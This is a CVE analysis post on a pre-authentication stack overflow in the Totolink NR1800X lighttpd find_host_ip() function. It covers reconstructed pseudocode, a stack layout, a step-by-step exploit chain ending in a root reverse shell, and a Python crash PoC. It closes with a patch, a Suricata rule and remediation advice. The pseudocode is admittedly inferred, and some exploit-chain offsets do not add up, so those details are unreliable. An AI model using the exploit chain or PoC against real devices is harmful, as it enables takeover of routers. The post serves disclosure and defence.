home intel cve-2026-7546-totolink-nr1800x-lighttpd-stack-overflow
CVE Analysis 2026-05-01 · 8 min read

CVE-2026-7546: Stack Overflow in Totolink NR1800X lighttpd find_host_ip

Unbounded strcpy into a fixed stack buffer in lighttpd's find_host_ip() allows remote unauthenticated RCE via a crafted HTTP Host header on Totolink NR1800X 9.1.0u.6279_B20210910.

#buffer-overflow#stack-based#lighttpd#remote-code-execution#firmware-vulnerability
Technical mode — for security professionals
▶ Attack flow — CVE-2026-7546 · Buffer Overflow
ATTACKERRemote / unauthBUFFER OVERFLOWCVE-2026-7546Cross-platform · CRITICALCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-7546 is a stack-based buffer overflow in the find_host_ip() function embedded within the lighttpd binary shipped with Totolink NR1800X firmware version 9.1.0u.6279_B20210910. The function extracts the hostname from an HTTP Host header into a fixed-size stack buffer without validating the input length. An unauthenticated remote attacker can send an HTTP request with an oversized Host value, overwriting the saved return address and achieving arbitrary code execution as root — the privilege level under which lighttpd runs on this device.

CVSS 9.8 (CRITICAL) is appropriate: no authentication is required, the service is exposed on the LAN interface by default, and devices on some ISP configurations expose the management interface to the WAN.

Root cause: find_host_ip() copies the attacker-controlled Host header value into a 64-byte stack buffer using an unbounded string copy, with no length check against the source.

Affected Component

The vulnerability lives inside a custom plugin or CGI helper compiled directly into the lighttpd binary at /usr/sbin/lighttpd on the NR1800X. Totolink vendors a heavily patched lighttpd 1.4.x build that includes proprietary request-handling logic for the device management interface. The function find_host_ip() is part of that proprietary layer — it is not present in upstream lighttpd — and is called early in the request path to resolve the connecting client's apparent host for logging and access-control decisions.

The lighttpd process runs as root (UID 0) on the NR1800X. The management HTTP server listens on TCP port 80 and 8080.

Root Cause Analysis

The following pseudocode is reconstructed from the vulnerability class, the CVE description, and the known patterns of Totolink's lighttpd modifications as observed across related NR-series firmware (NR1800X, NR500, X6000R share substantial code). Register names and calling conventions reflect MIPS32 big-endian, the ISA used by the NR1800X's MediaTek MT7621 SoC.


/*
 * find_host_ip() — extracts hostname from HTTP Host header for access control.
 * Called from the main request-dispatch path.
 *
 * Reconstructed pseudocode — NR1800X 9.1.0u.6279_B20210910 /usr/sbin/lighttpd
 */

#define HOST_BUF_SIZE   64   /* fixed stack buffer — never changed across versions */

int find_host_ip(request_t *req, char *out_ip)
{
    char host_buf[HOST_BUF_SIZE];   /* stack-allocated, 64 bytes          */
    char *colon;
    const char *host_hdr;

    /* Retrieve raw value of the Host header from the request object */
    host_hdr = request_get_header(req, "Host");
    if (host_hdr == NULL)
        return -1;

    /*
     * BUG: strcpy() with no bounds check — host_hdr is fully attacker-
     * controlled and can be arbitrarily long. Any Host value > 63 bytes
     * overflows host_buf[] on the stack, clobbering saved $ra and locals.
     */
    strcpy(host_buf, host_hdr);    /* BUG: missing bounds check here */

    /* Strip optional ":port" suffix — never reached with a long payload */
    colon = strchr(host_buf, ':');
    if (colon != NULL)
        *colon = '\0';

    /* Resolve hostname to IP string for ACL comparison */
    strncpy(out_ip, host_buf, INET_ADDRSTRLEN);
    return 0;
}

The strcpy(host_buf, host_hdr) call is the singular root cause. request_get_header() returns a pointer directly into the raw HTTP receive buffer with no prior length enforcement at this layer. lighttpd's own header-size limits (server.max-request-field-size) default to 8 KB, far larger than the 64-byte destination.

Memory Layout

Stack frame layout for find_host_ip() on MIPS32 (MT7621, -O2, no stack canary in vendor build):


/*
 * Stack frame layout — find_host_ip(), MIPS32 BE, frame size ~0x70
 *
 * High address (caller frame)
 */
struct find_host_ip_frame {
    /* +0x00 */ uint8_t  host_buf[64];   // destination of strcpy — 64 bytes
    /* +0x40 */ char    *colon;          // local pointer variable
    /* +0x44 */ char    *host_hdr;       // saved arg pointer
    /* +0x48 */ uint8_t  pad[8];         // compiler alignment / other locals
    /* +0x50 */ uint32_t saved_s0;       // callee-saved $s0
    /* +0x54 */ uint32_t saved_s1;       // callee-saved $s1
    /* +0x58 */ uint32_t saved_fp;       // saved frame pointer $fp
    /* +0x5c */ uint32_t saved_ra;       // saved return address  <-- target
    /* +0x60 */ uint32_t caller_args[4]; // outgoing arg slots (MIPS ABI)
    /* +0x70 */ 
};
/* Low address (stack grows downward toward lower addresses on MIPS) */

STACK STATE BEFORE OVERFLOW (Host: "example.com\r\n"):

  [sp+0x00] host_buf[0..63]     = "example.com\0" + uninit garbage
  [sp+0x50] saved_s0            = 
  [sp+0x54] saved_s1            = 
  [sp+0x58] saved_fp            = 
  [sp+0x5c] saved_ra            = 

STACK STATE AFTER OVERFLOW (Host: "A"*0x5c + PAYLOAD):

  [sp+0x00] host_buf[0..63]     = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  [sp+0x40] colon ptr           = 0x41414141  (clobbered)
  [sp+0x44] host_hdr ptr        = 0x41414141  (clobbered)
  [sp+0x48] pad                 = 0x41414141 0x41414141
  [sp+0x50] saved_s0            = 0x41414141  (clobbered)
  [sp+0x54] saved_s1            = 0x41414141  (clobbered)
  [sp+0x58] saved_fp            = 0x41414141  (clobbered)
  [sp+0x5c] saved_ra            = 0x[ATTACKER_CONTROLLED]  <-- hijacked $ra

The NR1800X's lighttpd binary is compiled without stack canaries (-fno-stack-protector is the observed norm across Totolink NR-series builds) and the MT7621 Linux kernel on this firmware does not enforce ASLR for userspace processes (kernel config CONFIG_RANDOMIZE_BASE is absent). This means the stack layout is fully deterministic across reboots.

Exploitation Mechanics


EXPLOIT CHAIN — CVE-2026-7546, Totolink NR1800X

1. Identify target: scan for TCP/80 or TCP/8080 responding with lighttpd
   banner ("Server: lighttpd") on LAN or exposed WAN interface.

2. Stage ROP/shellcode: locate a reliable RET2LIBC or ROP gadget in
   /usr/sbin/lighttpd or /lib/libc.so.0 (fixed addresses, no ASLR).
   Useful gadget: "move $t9, $a0 ; jalr $t9" — call address in $a0,
   which still holds host_hdr at point of return in some call chains.

3. Craft oversized Host header:
     Host: [NOP-equivalent MIPS sled: 92 bytes]
           [shellcode: reverse shell or cmd injection, ~128 bytes]
           [padding to reach sp+0x5c]
           [4-byte overwrite of saved_ra -> ROP gadget / shellcode addr]

4. Send single HTTP GET request — no authentication token required:
     GET /cgi-bin/luci HTTP/1.1\r\n
     Host: \r\n
     Connection: close\r\n\r\n

5. find_host_ip() executes strcpy(), overflows host_buf[], overwrites
   saved_ra with attacker-supplied address.

6. find_host_ip() returns — CPU fetches PC from corrupted $ra,
   execution redirects to attacker-controlled address.

7. Shellcode executes as root; device compromise is complete.
   Typical payload: busybox reverse shell back to attacker C2.

Because the vulnerability is pre-authentication and requires only a single HTTP request, it is wormable across LAN segments. A proof-of-concept using Python's socket library is sufficient — no exploit framework required.


#!/usr/bin/env python3
"""
CVE-2026-7546 — Totolink NR1800X find_host_ip() PoC trigger
Sends a Host header large enough to confirm overflow (crash PoC, not weaponized).
CypherByte research — for authorized testing only.
"""

import socket

TARGET_IP   = "192.168.0.1"
TARGET_PORT = 80

# 0x5c (92) bytes to reach saved_ra + 4-byte overwrite
OVERFLOW_OFFSET = 0x5c
CANARY_CHECK    = b"A" * OVERFLOW_OFFSET + b"BBBB"   # $ra = 0x42424242

payload = (
    b"GET /index.html HTTP/1.1\r\n"
    b"Host: " + CANARY_CHECK + b"\r\n"
    b"Connection: close\r\n\r\n"
)

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.settimeout(5)
    s.connect((TARGET_IP, TARGET_PORT))
    s.sendall(payload)
    try:
        resp = s.recv(1024)
        print(f"[*] Response received ({len(resp)} bytes) — crash may not have fired")
    except socket.timeout:
        print("[!] No response — process likely crashed, overflow confirmed")

Patch Analysis

No official patch has been released by Totolink as of the publication of this article. The correct remediation at the source level is straightforward:


/* BEFORE (vulnerable) — lighttpd 9.1.0u.6279_B20210910: */
strcpy(host_buf, host_hdr);   /* no length check — classic unbounded copy */


/* AFTER (patched — recommended fix): */
if (strnlen(host_hdr, HOST_BUF_SIZE) >= HOST_BUF_SIZE) {
    /* Host value exceeds buffer — reject request */
    log_error("find_host_ip: Host header too long, dropping request");
    return -1;
}
strncpy(host_buf, host_hdr, HOST_BUF_SIZE - 1);
host_buf[HOST_BUF_SIZE - 1] = '\0';   /* guaranteed NUL termination */

A secondary hardening measure would be to increase HOST_BUF_SIZE to 256 bytes (sufficient for any valid FQDN per RFC 1035) and to compile lighttpd with -fstack-protector-strong, which would convert a silent RCE into a detectable crash. Full ASLR enablement at the kernel level (CONFIG_RANDOMIZE_BASE=y, /proc/sys/kernel/randomize_va_space = 2) would significantly raise exploitation cost even without the source fix.

Detection and Indicators

In the absence of a patch, defenders can detect exploitation attempts through the following:

Network signatures — any HTTP request where the Host header value exceeds 64 bytes directed at the NR1800X management interface should be treated as suspicious. A Suricata rule:


alert http any any -> $HOME_NET [80,8080] (
    msg:"CVE-2026-7546 Totolink NR1800X Host header overflow attempt";
    flow:to_server,established;
    http.header;
    content:"Host|3a 20|";
    isdataat:65,relative;
    classtype:attempted-admin;
    sid:20267546;
    rev:1;
)

Process crash indicators — a successful overflow that does not achieve code execution will crash lighttpd. Watch for repeated lighttpd process restarts in /var/log/messages or via the device's watchdog daemon respawning the service.

Unexpected outbound connections — post-exploitation reverse shells from a router IP to an external host on non-standard ports are a strong indicator of successful compromise.

Remediation

  • Immediate: Disable remote/WAN HTTP management access. On the NR1800X, navigate to Advanced → Remote Management and ensure WAN-side HTTP access is disabled.
  • Network-level mitigation: Deploy the Suricata signature above at your perimeter or inline IPS. Block access to port 80/8080 on the router's WAN interface at the upstream provider if possible.
  • Firmware update: Monitor Totolink's official support page for NR1800X firmware updates. No patched firmware version is available as of this writing. Contact Totolink support and reference CVE-2026-7546.
  • Device replacement: If the device is serving a critical network segment and no firmware update is forthcoming, consider replacing it with hardware from a vendor with an active security response process.
  • Vendor: Totolink should recompile lighttpd with -fstack-protector-strong, enable FORTIFY_SOURCE=2, and audit all other strcpy()/sprintf() call sites in the same proprietary plugin layer — this vulnerability pattern is rarely isolated.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →